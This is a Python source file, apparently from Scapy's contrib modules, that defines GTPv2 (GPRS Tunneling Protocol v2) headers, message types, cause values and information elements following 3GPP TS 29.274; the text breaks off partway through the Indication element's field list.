    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2017 Alessio Deiana <adeiana@gmail.com>\n# 2017 Alexis Sultan <alexis.sultan@sfr.com>\n\n# scapy.contrib.description = GPRS Tunneling Protocol v2 (GTPv2)\n# scapy.contrib.status = loads\n\nimport struct\n\n\nfrom scapy.compat import orb\nfrom scapy.data import IANA_ENTERPRISE_NUMBERS\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    IPField,\n    IntField,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrFixedLenField,\n    StrLenField,\n    ThreeBytesField,\n    XBitField,\n    XIntField,\n    XShortField,\n)\nfrom scapy.layers.inet6 import IP6Field\nfrom scapy.packet import bind_layers, Packet, Raw\nfrom scapy.volatile import RandIP, RandShort\n\n\nfrom scapy.contrib import gtp\n\n\nRATType = {\n    1: \"UTRAN\",\n    2: \"GERAN\",\n    3: \"WLAN\",\n    4: \"GAN\",\n    5: \"HSPA Evolution\",\n    6: \"EUTRAN\",\n    7: \"Virtual\",\n    8: \"EUTRAN-NB-IoT\",\n    9: \"LTE-M\",\n    10: \"NR\",\n}\n\n# 3GPP TS 29.274 v16.1.0 table 6.1-1\nGTPmessageType = {\n    1: \"echo_request\",\n    2: \"echo_response\",\n    3: \"version_not_supported\",\n\n    # 4-16: S101 interface, TS 29.276.\n    # 17-24: S121 interface, TS 29.276.\n    # 25-31: Sv interface, TS 29.280.\n\n    # SGSN/MME/ TWAN/ePDG to PGW (S4/S11, S5/S8, S2a, S2b)\n    32: \"create_session_req\",\n    33: \"create_session_res\",\n    36: \"delete_session_req\",\n    37: \"delete_session_res\",\n\n    # SGSN/MME/ePDG to PGW (S4/S11, S5/S8, S2b)\n    34: \"modify_bearer_req\",\n    35: \"modify_bearer_res\",\n\n    # MME to PGW (S11, S5/S8)\n    40: \"remote_ue_report_notif\",\n    41: \"remote_ue_report_ack\",\n\n    # SGSN/MME to PGW (S4/S11, S5/S8)\n    38: \"change_notif_req\",\n    39: \"change_notif_res\",\n    # 42-46: For future use.\n    164: \"resume_notif\",\n    165: \"resume_ack\",\n\n    # Messages without explicit response\n    64: \"modify_bearer_cmd\",\n    65: \"modify_bearer_failure_indic\",\n    66: \"delete_bearer_cmd\",\n    67: \"delete_bearer_failure_indic\",\n    68: \"bearer_resource_cmd\",\n    69: \"bearer_resource_failure_indic\",\n    70: \"downlink_data_notif_failure_indic\",\n    71: \"trace_session_activation\",\n    72: \"trace_session_deactivation\",\n    73: \"stop_paging_indic\",\n    # 74-94: For future use.\n\n    # PGW to SGSN/MME/ TWAN/ePDG (S5/S8, S4/S11, S2a, S2b)\n    95: \"create_bearer_req\",\n    96: \"create_bearer_res\",\n    97: \"update_bearer_req\",\n    98: \"update_bearer_res\",\n    99: \"delete_bearer_req\",\n    100: \"delete_bearer_res\",\n\n    # PGW to MME, MME to PGW, SGW to PGW, SGW to MME, PGW to TWAN/ePDG,\n    # TWAN/ePDG to PGW (S5/S8, S11, S2a, S2b)\n    101: \"delete_pdn_connection_set_req\",\n    102: \"delete_pdn_connection_set_res\",\n\n    # PGW to SGSN/MME (S5, S4/S11)\n    103: \"pgw_downlink_triggering_notif\",\n    104: \"pgw_downlink_triggering_ack\",\n    # 105-127: For future use.\n\n    # MME to MME, SGSN to MME, MME to SGSN, SGSN to SGSN, MME to AMF,\n    # AMF to MME (S3/S10/S16/N26)\n    128: \"identification_req\",\n    129: \"identification_res\",\n    130: \"context_req\",\n    131: \"context_res\",\n    132: \"context_ack\",\n    133: \"forward_relocation_req\",\n    134: \"forward_relocation_res\",\n    135: \"forward_relocation_complete_notif\",\n    136: \"forward_relocation_complete_ack\",\n    137: \"forward_access_context_notif\",\n    138: \"forward_access_context_ack\",\n    139: \"relocation_cancel_req\",\n    140: \"relocation_cancel_res\",\n    141: \"configuration_transfer_tunnel\",\n    # 142-148: For future use.\n    152: \"ran_information_relay\",\n\n    # SGSN to MME, MME to SGSN (S3)\n    149: \"detach_notif\",\n    150: \"detach_ack\",\n    151: \"cs_paging_indic\",\n    153: \"alert_mme_notif\",\n    154: \"alert_mme_ack\",\n    155: \"ue_activity_notif\",\n    156: \"ue_activity_ack\",\n    157: \"isr_status_indic\",\n    158: \"ue_registration_query_req\",\n    159: \"ue_registration_query_res\",\n\n    # SGSN/MME to SGW, SGSN to MME (S4/S11/S3)\n    # SGSN to SGSN (S16), SGW to PGW (S5/S8)\n    162: \"suspend_notif\",\n    163: \"suspend_ack\",\n\n    # SGSN/MME to SGW (S4/S11)\n    160: \"create_forwarding_tunnel_req\",\n    161: \"create_forwarding_tunnel_res\",\n    166: \"create_indirect_data_forwarding_tunnel_req\",\n    167: \"create_indirect_data_forwarding_tunnel_res\",\n    168: \"delete_indirect_data_forwarding_tunnel_req\",\n    169: \"delete_indirect_data_forwarding_tunnel_res\",\n    170: \"realease_bearers_req\",\n    171: \"realease_bearers_res\",\n    # 172-175: For future use\n\n    # SGW to SGSN/MME (S4/S11)\n    176: \"downlink_data_notif\",\n    177: \"downlink_data_notif_ack\",\n    179: \"pgw_restart_notif\",\n    180: \"pgw_restart_notif_ack\",\n\n    # SGW to SGSN (S4)\n    # 178: Reserved. Allocated in earlier version of the specification.\n    # 181-199: For future use.\n\n    # SGW to PGW, PGW to SGW (S5/S8)\n    200: \"update_pdn_connection_set_req\",\n    201: \"update_pdn_connection_set_res\",\n    # 202-210: For future use.\n\n    # MME to SGW (S11)\n    211: \"modify_access_bearers_req\",\n    212: \"modify_access_bearers_res\",\n    # 213-230: For future use.\n\n    # MBMS GW to MME/SGSN (Sm/Sn)\n    231: \"mbms_session_start_req\",\n    232: \"mbms_session_start_res\",\n    233: \"mbms_session_update_req\",\n    234: \"mbms_session_update_res\",\n    235: \"mbms_session_stop_req\",\n    236: \"mbms_session_stop_res\",\n    # 237-239: For future use.\n\n    # Other\n    # 240-247: Reserved for Sv interface (see also types 25 to 31, and\n    #          TS 29.280).\n    # 248-255: For future use.\n}\n\nIEType = {1: \"IMSI\",\n             2: \"Cause\",\n             3: \"Recovery Restart\",\n             71: \"APN\",\n             72: \"AMBR\",\n             73: \"EPS Bearer ID\",\n             74: \"IP Address\",\n             75: \"MEI\",\n             76: \"MSISDN\",\n             77: \"Indication\",\n             78: \"Protocol Configuration Options\",\n             79: \"PAA\",\n             80: \"Bearer QoS\",\n             82: \"RAT\",\n             83: \"Serving Network\",\n             84: \"Bearer TFT\",\n             86: \"ULI\",\n             87: \"F-TEID\",\n             93: \"Bearer Context\",\n             94: \"Charging ID\",\n             95: \"Charging Characteristics\",\n             97: \"Bearer Flags\",\n             99: \"PDN Type\",\n             107: \"MM Context (EPS Security Context and Quadruplets)\",\n             109: \"PDN Connection\",\n             114: \"UE Time zone\",\n             126: \"Port Number\",\n             127: \"APN Restriction\",\n             128: \"Selection Mode\",\n             132: \"FQ-CSID\",\n             136: \"FQDN\",\n             145: \"UCI\",\n             161: \"Max MBR/APN-AMBR (MMBR)\",\n             163: \"Additional Protocol Configuration Options\",\n             170: \"ULI Timestamp\",\n             172: \"RAN/NAS Cause\",\n             197: \"Extended Protocol Configuration Options\",\n             202: \"UP Function Selection Indication Flags\",\n             255: \"Private Extension\",\n          }\n\n\nclass GTPHeader(gtp.GTPHeader):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    # without the version\n    name = \"GTP v2 Header\"\n    fields_desc = [BitField(\"version\", 2, 3),\n                   BitField(\"P\", 1, 1),\n                   BitField(\"T\", 1, 1),\n                   BitField(\"MP\", 0, 1),\n                   BitField(\"SPARE1\", 0, 1),\n                   BitField(\"SPARE2\", 0, 1),\n                   ByteEnumField(\"gtp_type\", None, GTPmessageType),\n                   ShortField(\"length\", None),\n                   ConditionalField(XIntField(\"teid\", 0),\n                                    lambda pkt:pkt.T == 1),\n                   ThreeBytesField(\"seq\", RandShort()),\n                   ConditionalField(BitField(\"msg_priority\", 0, 4),\n                                    lambda pkt:pkt.MP == 1),\n                   ConditionalField(\n                       MultipleTypeField(\n                           [(BitField(\"SPARE3\", 0, 4),\n                             lambda pkt: pkt.MP == 1)],\n                           ByteField(\"SPARE3\", 0)),\n                       lambda pkt: pkt.MP in [0, 1])]\n\n\nclass IE_IP_Address(gtp.IE_Base):\n    name = \"IE IP Address\"\n    fields_desc = [ByteEnumField(\"ietype\", 74, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   ConditionalField(\n                       IPField(\"address\", RandIP()),\n                       lambda pkt: pkt.length == 4),\n                   ConditionalField(\n                       IP6Field(\"address6\", None),\n                       lambda pkt: pkt.length == 16)]\n\n    def post_build(self, p, pay):\n        if self.length is None:\n            tmp_len = 16 if self.address6 is not None else 4\n            p = p[:1] + struct.pack(\"!H\", tmp_len) + p[2:]\n        return p + pay\n\n\nclass IE_MEI(gtp.IE_Base):\n    name = \"IE MEI\"\n    fields_desc = [ByteEnumField(\"ietype\", 75, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   gtp.TBCDByteField(\"MEI\", \"175675478970685\",\n                                     length_from=lambda x: x.length)]\n\n\ndef IE_Dispatcher(s):\n    \"\"\"Choose the correct Information Element class.\"\"\"\n\n    # Get the IE type\n    ietype = orb(s[0])\n    cls = ietypecls.get(ietype, Raw)\n\n    # if ietype greater than 128 are TLVs\n    if cls is Raw and ietype > 128:\n        cls = IE_NotImplementedTLV\n\n    return cls(s)\n\n\nclass IE_EPSBearerID(gtp.IE_Base):\n    name = \"IE EPS Bearer ID\"\n    fields_desc = [ByteEnumField(\"ietype\", 73, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   ByteField(\"EBI\", 0)]\n\n\nclass IE_RAT(gtp.IE_Base):\n    name = \"IE RAT\"\n    fields_desc = [ByteEnumField(\"ietype\", 82, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   ByteEnumField(\"RAT_type\", None, RATType)]\n\n\nclass IE_ServingNetwork(gtp.IE_Base):\n    name = \"IE Serving Network\"\n    fields_desc = [ByteEnumField(\"ietype\", 83, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   gtp.TBCDByteField(\"MCC\", \"\", 2),\n                   gtp.TBCDByteField(\"MNC\", \"\", 1)]\n\n\n# User Location Information IE and fields.\n# 3GPP TS 29.274 v16.1.0 section 8.21.\n\n\nclass ULI_Field(Packet):\n    \"\"\"Base class for ULI fields.\"\"\"\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass ULI_CGI(ULI_Field):\n    name = \"Cell Global Identifier\"\n    fields_desc = [\n        gtp.TBCDByteField(\"MCC\", \"\", 2),\n        gtp.TBCDByteField(\"MNC\", \"\", 1),\n        ShortField(\"LAC\", 0),\n        ShortField(\"CI\", 0),\n    ]\n\n\nclass ULI_SAI(ULI_Field):\n    name = \"Service Area Identity\"\n    fields_desc = [\n        gtp.TBCDByteField(\"MCC\", \"\", 2),\n        gtp.TBCDByteField(\"MNC\", \"\", 1),\n        ShortField(\"LAC\", 0),\n        ShortField(\"SAC\", 0),\n    ]\n\n\nclass ULI_RAI(ULI_Field):\n    name = \"Routing Area Identity\"\n    fields_desc = [\n        gtp.TBCDByteField(\"MCC\", \"\", 2),\n        # MNC: if the third digit of MCC is 0xf, then the length of\n        # MNC is 1 byte\n        gtp.TBCDByteField(\"MNC\", \"\", 1),\n        ShortField(\"LAC\", 0),\n        ShortField(\"RAC\", 0),\n    ]\n\n\nclass ULI_TAI(ULI_Field):\n    name = \"Tracking Area Identity\"\n    fields_desc = [\n        gtp.TBCDByteField(\"MCC\", \"\", 2),\n        gtp.TBCDByteField(\"MNC\", \"\", 1),\n        ShortField(\"TAC\", 0),\n    ]\n\n\nclass ULI_ECGI(ULI_Field):\n    name = \"E-UTRAN Cell Global Identifier\"\n    fields_desc = [\n        gtp.TBCDByteField(\"MCC\", \"\", 2),\n        gtp.TBCDByteField(\"MNC\", \"\", 1),\n        BitField(\"SPARE\", 0, 4),\n        BitField(\"ECI\", 0, 28),\n    ]\n\n\nclass ULI_LAI(ULI_Field):\n    name = \"Location Area Identifier\"\n    fields_desc = [\n        gtp.TBCDByteField(\"MCC\", \"\", 2),\n        gtp.TBCDByteField(\"MNC\", \"\", 1),\n        ShortField(\"LAC\", 0),\n    ]\n\n\nclass IE_ULI(gtp.IE_Base):\n    name = \"IE User Location Information\"\n    fields_desc = [\n        ByteEnumField(\"ietype\", 86, IEType),\n        ShortField(\"length\", None),\n        BitField(\"CR_flag\", 0, 4),\n        BitField(\"instance\", 0, 4),\n        BitField(\"SPARE\", 0, 2),\n        BitField(\"LAI_Present\", 0, 1),\n        BitField(\"ECGI_Present\", 0, 1),\n        BitField(\"TAI_Present\", 0, 1),\n        BitField(\"RAI_Present\", 0, 1),\n        BitField(\"SAI_Present\", 0, 1),\n        BitField(\"CGI_Present\", 0, 1),\n        ConditionalField(\n            PacketField(\"CGI\", 0, ULI_CGI),\n            lambda pkt: bool(pkt.CGI_Present)),\n        ConditionalField(\n            PacketField(\"SAI\", 0, ULI_SAI),\n            lambda pkt: bool(pkt.SAI_Present)),\n        ConditionalField(\n            PacketField(\"RAI\", 0, ULI_RAI),\n            lambda pkt: bool(pkt.RAI_Present)),\n        ConditionalField(\n            PacketField(\"TAI\", 0, ULI_TAI),\n            lambda pkt: bool(pkt.TAI_Present)),\n        ConditionalField(\n            PacketField(\"ECGI\", 0, ULI_ECGI),\n            lambda pkt: bool(pkt.ECGI_Present)),\n        ConditionalField(\n            PacketField(\"LAI\", 0, ULI_LAI),\n            lambda pkt: bool(pkt.LAI_Present)),\n    ]\n\n\nclass IE_ULI_Timestamp(gtp.IE_Base):\n    name = \"IE ULI Timestamp\"\n    fields_desc = [\n        ByteEnumField(\"ietype\", 170, IEType),\n        ShortField(\"length\", None),\n        BitField(\"CR_flag\", 0, 4),\n        BitField(\"instance\", 0, 4),\n        XIntField(\"timestamp\", 0)]\n\n\n# 3GPP TS 29.274 v12.12.0 section 8.22\nINTERFACE_TYPES = {\n    0: \"S1-U eNodeB GTP-U interface\",\n    1: \"S1-U SGW GTP-U interface\",\n    2: \"S12 RNC GTP-U interface\",\n    3: \"S12 SGW GTP-U interface\",\n    4: \"S5/S8 SGW GTP-U interface\",\n    5: \"S5/S8 PGW GTP-U interface\",\n    6: \"S5/S8 SGW GTP-C interface\",\n    7: \"S5/S8 PGW GTP-C interface\",\n    8: \"S5/S8 SGW PMIPv6 interface\",\n    9: \"S5/S8 PGW PMIPv6 interface\",\n    10: \"S11 MME GTP-C interface\",\n    11: \"S11/S4 SGW GTP-C interface\",\n    12: \"S10 MME GTP-C interface\",\n    13: \"S3 MME GTP-C interface\",\n    14: \"S3 SGSN GTP-C interface\",\n    15: \"S4 SGSN GTP-U interface\",\n    16: \"S4 SGW GTP-U interface\",\n    17: \"S4 SGSN GTP-C interface\",\n    18: \"S16 SGSN GTP-C interface\",\n    19: \"eNodeB GTP-U interface for DL data forwarding\",\n    20: \"eNodeB GTP-U interface for UL data forwarding\",\n    21: \"RNC GTP-U interface for data forwarding\",\n    22: \"SGSN GTP-U interface for data forwarding\",\n    23: \"SGW GTP-U interface for DL data forwarding\",\n    24: \"Sm MBMS GW GTP-C interface\",\n    25: \"Sn MBMS GW GTP-C interface\",\n    26: \"Sm MME GTP-C interface\",\n    27: \"Sn SGSN GTP-C interface\",\n    28: \"SGW GTP-U interface for UL data forwarding\",\n    29: \"Sn SGSN GTP-U interface\",\n    30: \"S2b ePDG GTP-C interface\",\n    31: \"S2b-U ePDG GTP-U interface\",\n    32: \"S2b PGW GTP-C interface\",\n    33: \"S2b-U PGW GTP-U interface\",\n    34: \"S2a TWAN GTP-U interface\",\n    35: \"S2a TWAN GTP-C interface\",\n    36: \"S2a PGW GTP-C interface\",\n    37: \"S2a PGW GTP-U interface\",\n}\n\n\nclass IE_UCI(gtp.IE_Base):\n    name = \"IE UCI\"\n    fields_desc = [ByteEnumField(\"ietype\", 145, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   gtp.TBCDByteField(\"MCC\", \"\", 2),\n                   gtp.TBCDByteField(\"MNC\", \"\", 1),\n                   BitField(\"SPARE1\", 0, 5),\n                   BitField(\"CSG_ID\", 0, 27),\n                   BitField(\"AccessMode\", 0, 2),\n                   BitField(\"SPARE2\", 0, 4),\n                   BitField(\"LCSG\", 0, 1),\n                   BitField(\"CMI\", 0, 1)]\n\n\nclass IE_FTEID(gtp.IE_Base):\n    name = \"IE F-TEID\"\n    fields_desc = [ByteEnumField(\"ietype\", 87, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"ipv4_present\", 0, 1),\n                   BitField(\"ipv6_present\", 0, 1),\n                   BitEnumField(\"InterfaceType\", 0, 6, INTERFACE_TYPES),\n                   XIntField(\"GRE_Key\", 0),\n                   ConditionalField(\n        IPField(\"ipv4\", RandIP()), lambda pkt: pkt.ipv4_present),\n        ConditionalField(XBitField(\"ipv6\", \"2001::\", 128),\n                         lambda pkt: pkt.ipv6_present)]\n\n\nclass IE_BearerContext(gtp.IE_Base):\n    name = \"IE Bearer Context\"\n    fields_desc = [ByteEnumField(\"ietype\", 93, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   PacketListField(\"IE_list\", None, IE_Dispatcher,\n                                   length_from=lambda pkt: pkt.length)]\n\n\nclass IE_BearerFlags(gtp.IE_Base):\n    name = \"IE Bearer Flags\"\n    fields_desc = [ByteEnumField(\"ietype\", 97, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"SPARE\", 0, 4),\n                   BitField(\"ASI\", 0, 1),\n                   BitField(\"Vind\", 0, 1),\n                   BitField(\"VB\", 0, 1),\n                   BitField(\"PPC\", 0, 1)]\n\n\nclass IE_MMContext_EPS(gtp.IE_Base):\n    name = \"IE MM Context (EPS Security Context and Quadruplets)\"\n    fields_desc = [ByteEnumField(\"ietype\", 107, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   BitField(\"Sec_Mode\", 0, 3),\n                   BitField(\"Nhi\", 0, 1),\n                   BitField(\"Drxi\", 0, 1),\n                   BitField(\"Ksi\", 0, 3),\n                   BitField(\"Num_quint\", 0, 3),\n                   BitField(\"Num_Quad\", 0, 3),\n                   BitField(\"Uambri\", 0, 1),\n                   BitField(\"Osci\", 0, 1),\n                   BitField(\"Sambri\", 0, 1),\n                   BitField(\"Nas_algo\", 0, 3),\n                   BitField(\"Nas_cipher\", 0, 4),\n                   ThreeBytesField(\"Nas_dl_count\", 0),\n                   ThreeBytesField(\"Nas_ul_count\", 0),\n                   BitField(\"Kasme\", 0, 256),\n                   ConditionalField(StrLenField(\"fields\", \"\",\n                                    length_from=lambda x: x.length - 41),\n                                    lambda pkt: pkt.length > 40)]\n\n\nclass IE_PDNConnection(gtp.IE_Base):\n    name = \"IE PDN Connection\"\n    fields_desc = [ByteEnumField(\"ietype\", 109, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   PacketListField(\"IE_list\", None, IE_Dispatcher,\n                                   length_from=lambda pkt: pkt.length)]\n\n\nclass IE_FQDN(gtp.IE_Base):\n    name = \"IE FQDN\"\n    fields_desc = [ByteEnumField(\"ietype\", 136, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   gtp.FQDNField(\"fqdn\", b\"\", length_from=lambda x: x.length)]\n\n\nclass IE_NotImplementedTLV(gtp.IE_Base):\n    name = \"IE not implemented\"\n    fields_desc = [ByteEnumField(\"ietype\", 0, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   StrLenField(\"data\", \"\", length_from=lambda x: x.length)]\n\n\nclass IE_IMSI(gtp.IE_Base):\n    name = \"IE IMSI\"\n    fields_desc = [ByteEnumField(\"ietype\", 1, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   gtp.TBCDByteField(\"IMSI\", \"33607080910\",\n                                     length_from=lambda x: x.length)]\n\n\n# 3GPP TS 29.274 v16.1.0 table 8.4-1\nCAUSE_VALUES = {\n    # 0: Reserved. Shall not be sent and if received the Cause shall be treated\n    #    as an invalid IE.\n    # 1: Reserved.\n    2: \"Local Detach\",\n    3: \"Complete Detach\",\n    4: \"RAT changed from 3GPP to Non-3GPP\",\n    5: \"ISR deactivation\",\n    6: \"Error Indication received from RNC/eNodeB/S4-SGSN/MME\",\n    7: \"IMSI Detach Only\",\n    8: \"Reactivation Requested\",\n    9: \"PDN reconnection to this APN disallowed\",\n    10: \"Access changed from Non-3GPP to 3GPP\",\n    11: \"PDN connection inactivity timer expires\",\n    12: \"PGW not responding\",\n    13: \"Network Failure\",\n    14: \"QoS parameter mismatch\",\n    15: \"EPS to 5GS Mobility\",\n    16: \"Request accepted\",\n    17: \"Request accepted partially\",\n    18: \"New PDN type due to network preference\",\n    19: \"New PDN type due to single address bearer only\",\n    # 20-63: Spare. This value range shall be used by Cause values in an\n    #        acceptance response/triggered message.\n    64: \"Context Not Found\",\n    65: \"Invalid Message Format\",\n    66: \"Version not supported by next peer\",\n    67: \"Invalid length\",\n    68: \"Service not supported\",\n    69: \"Mandatory IE incorrect\",\n    70: \"Mandatory IE missing\",\n    # 71: Shall not be used. See NOTE 2 and NOTE 3.\n    72: \"System failure\",\n    73: \"No resources available\",\n    74: \"Semantic error in the TFT operation\",\n    75: \"Syntactic error in the TFT operation\",\n    76: \"Semantic errors in packet filter(s)\",\n    77: \"Syntactic errors in packet filter(s)\",\n    78: \"Missing or unknown APN\",\n    # 79: Shall not be used. See NOTE 2 and NOTE 3.\n    80: \"GRE key not found\",\n    81: \"Relocation failure\",\n    82: \"Denied in RAT\",\n    83: \"Preferred PDN type not supported\",\n    84: \"All dynamic addresses are occupied\",\n    85: \"UE context without TFT already activated\",\n    86: \"Protocol type not supported\",\n    87: \"UE not responding\",\n    88: \"UE refuses\",\n    89: \"Service denied\",\n    90: \"Unable to page UE\",\n    91: \"No memory available\",\n    92: \"User authentication failed\",\n    93: \"APN access denied - no subscription\",\n    94: \"Request rejected (reason not specified)\",\n    95: \"P-TMSI Signature mismatch\",\n    96: \"IMSI/IMEI not known\",\n    97: \"Semantic error in the TAD operation\",\n    98: \"Syntactic error in the TAD operation\",\n    # 99: Shall not be used. See NOTE 2 and NOTE 3.\n    100: \"Remote peer not responding\",\n    101: \"Collision with network initiated request\",\n    102: \"Unable to page UE due to Suspension\",\n    103: \"Conditional IE missing\",\n    104: \"APN Restriction type Incompatible with currently active PDN \"\n         \"connection\",\n    105: \"Invalid overall length of the triggered response message and a \"\n         \"piggybacked initial message\",\n    106: \"Data forwarding not supported\",\n    107: \"Invalid reply from remote peer\",\n    108: \"Fallback to GTPv1\",\n    109: \"Invalid peer\",\n    110: \"Temporarily rejected due to handover/TAU/RAU procedure in progress\",\n    111: \"Modifications not limited to S1-U bearers\",\n    112: \"Request rejected for a PMIPv6 reason\",\n    113: \"APN Congestion\",\n    114: \"Bearer handling not supported\",\n    115: \"UE already re-attached\",\n    116: \"Multiple PDN connections for a given APN not allowed\",\n    117: \"Target access restricted for the subscriber\",\n    # 118: Shall not be used. See NOTE 2 and NOTE 3.\n    119: \"MME/SGSN refuses due to VPLMN Policy\",\n    120: \"GTP-C Entity Congestion\",\n    121: \"Late Overlapping Request\",\n    122: \"Timed out Request\",\n    123: \"UE is temporarily not reachable due to power saving\",\n    124: \"Relocation failure due to NAS message redirection\",\n    125: \"UE not authorised by OCS or external AAA Server\",\n    126: \"Multiple accesses to a PDN connection not allowed\",\n    127: \"Request rejected due to UE capability\",\n    128: \"S1-U Path Failure\",\n    129: \"5GC not allowed\",\n    # 130-239: Spare. For future use in a triggered/response message.\n    #          See NOTE 4.\n    # 240-255: Spare. For future use in an initial/request message. See NOTE 5.\n}\n\n\nclass IE_Cause(gtp.IE_Base):\n    name = \"IE Cause\"\n    fields_desc = [ByteEnumField(\"ietype\", 2, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   ByteEnumField(\"Cause\", 1, CAUSE_VALUES),\n                   BitField(\"SPARE\", 0, 5),\n                   BitField(\"PCE\", 0, 1),\n                   BitField(\"BCE\", 0, 1),\n                   BitField(\"CS\", 0, 1)]\n\n\nclass IE_RecoveryRestart(gtp.IE_Base):\n    name = \"IE Recovery Restart\"\n    fields_desc = [ByteEnumField(\"ietype\", 3, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   ByteField(\"restart_counter\", 0)]\n\n\nclass IE_APN(gtp.IE_Base):\n    name = \"IE APN\"\n    fields_desc = [ByteEnumField(\"ietype\", 71, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   gtp.APNStrLenField(\"APN\", \"internet\",\n                                      length_from=lambda x: x.length)]\n\n\nclass IE_BearerTFT(gtp.IE_Base):\n    name = \"IE Bearer TFT\"\n    fields_desc = [ByteEnumField(\"ietype\", 84, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   StrLenField(\"Bearer_TFT\", \"\",\n                               length_from=lambda x: x.length)]\n\n\nclass IE_AMBR(gtp.IE_Base):\n    name = \"IE AMBR\"\n    fields_desc = [ByteEnumField(\"ietype\", 72, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   IntField(\"AMBR_Uplink\", 0),\n                   IntField(\"AMBR_Downlink\", 0)]\n\n\nclass IE_MSISDN(gtp.IE_Base):\n    name = \"IE MSISDN\"\n    fields_desc = [ByteEnumField(\"ietype\", 76, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   gtp.TBCDByteField(\"digits\", \"33123456789\",\n                                     length_from=lambda x: x.length)]\n\n\nclass IE_Indication(gtp.IE_Base):\n    name = \"IE Indication\"\n    fields_desc = [ByteEnumField(\"ietype\", 77, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"CR_flag\", 0, 4),\n                   BitField(\"instance\", 0, 4),\n                   ConditionalField(\n                       BitField(\"DAF\", 0, 1), lambda pkt: pkt.length > 0),\n                   ConditionalField(\n                       BitField(\"DTF\", 0, 1), lambda pkt: pkt.length > 0),\n                   ConditionalField(\n                       BitField(\"HI\", 0, 1), lambda pkt: pkt.length > 0),\n                   ConditionalField(\n                       BitField(\"DFI\", 0, 1), lambda pkt: pkt.length > 0),\n                   ConditionalField(\n                       BitField(\"OI\", 0, 1), lambda pkt: pkt.length > 0),\n                   ConditionalField(\n                       BitField(\"ISRSI\", 0, 1), lambda pkt: pkt.length > 0),\n                   ConditionalField(\n                       BitField(\"ISRAI\", 0, 1), lambda pkt: pkt.length > 0),\n                   ConditionalField(\n                       BitField(\"SGWCI\", 0, 1), lambda pkt: pkt.length > 0),\n                   ConditionalField(\n                       BitField(\"SQCI\", 0, 1), lambda pkt: pkt.length > 1),\n                   ConditionalField(\n                       BitField(\"UIMSI\", 0, 1), lambda pkt: pkt.length > 1),\n                   ConditionalField(\n                       BitField(\"CFSI\", 0, 1), lambda pkt: pkt.length > 1),\n                   ConditionalField(\n                       BitField(\"CRSI\", 0, 1), lambda pkt: pkt.length > 1),\n                   ConditionalField(\n                       BitField(\"PS\", 0, 1), lambda pkt: pkt.length > 1),\n                   ConditionalField(\n                       BitField(\"PT\", 0, 1), lambda pkt: pkt.length > 1),\n                   ConditionalField(\n                       BitField(\"SI\", 0, 1), lambda pkt: pkt.length > 1),\n                   ConditionalField(\n                       BitField(\"MSV\", 0, 1), lambda pkt: pkt.length > 1),\n                   ConditionalField(\n                       BitField(\"RetLoc\", 0, 1), lambda pkt: pkt.length > 2),\n                   ConditionalField(\n                       BitField(\"PBIC\", 0, 1), lambda pkt: pkt.length > 2),\n                   ConditionalField(\n                       BitField(\"SRNI\", 0, 1), lambda pkt: pkt.length > 2),\n                   ConditionalField(\n                       BitField(\"S6AF\", 0, 1), lambda pkt: pkt.length > 2),\n                   ConditionalField(\n                       BitField(\"S4AF\", 0, 1), lambda pkt: pkt.length > 2),\n                   ConditionalField(\n                       BitField(\"MBMDT\", 0, 1), lambda pkt: pkt.length > 2),\n                   ConditionalField(\n                       BitField(\"ISRAU\", 0, 1), lambda pkt: pkt.length > 2),\n                   ConditionalField(\n                       BitField(\"CCRSI\", 0, 1), lambda pkt: pkt.length > 2),\n\n                   ConditionalField(\n        BitField(\"CPRAI\", 0, 1), lambda pkt: pkt.length > 3),\n        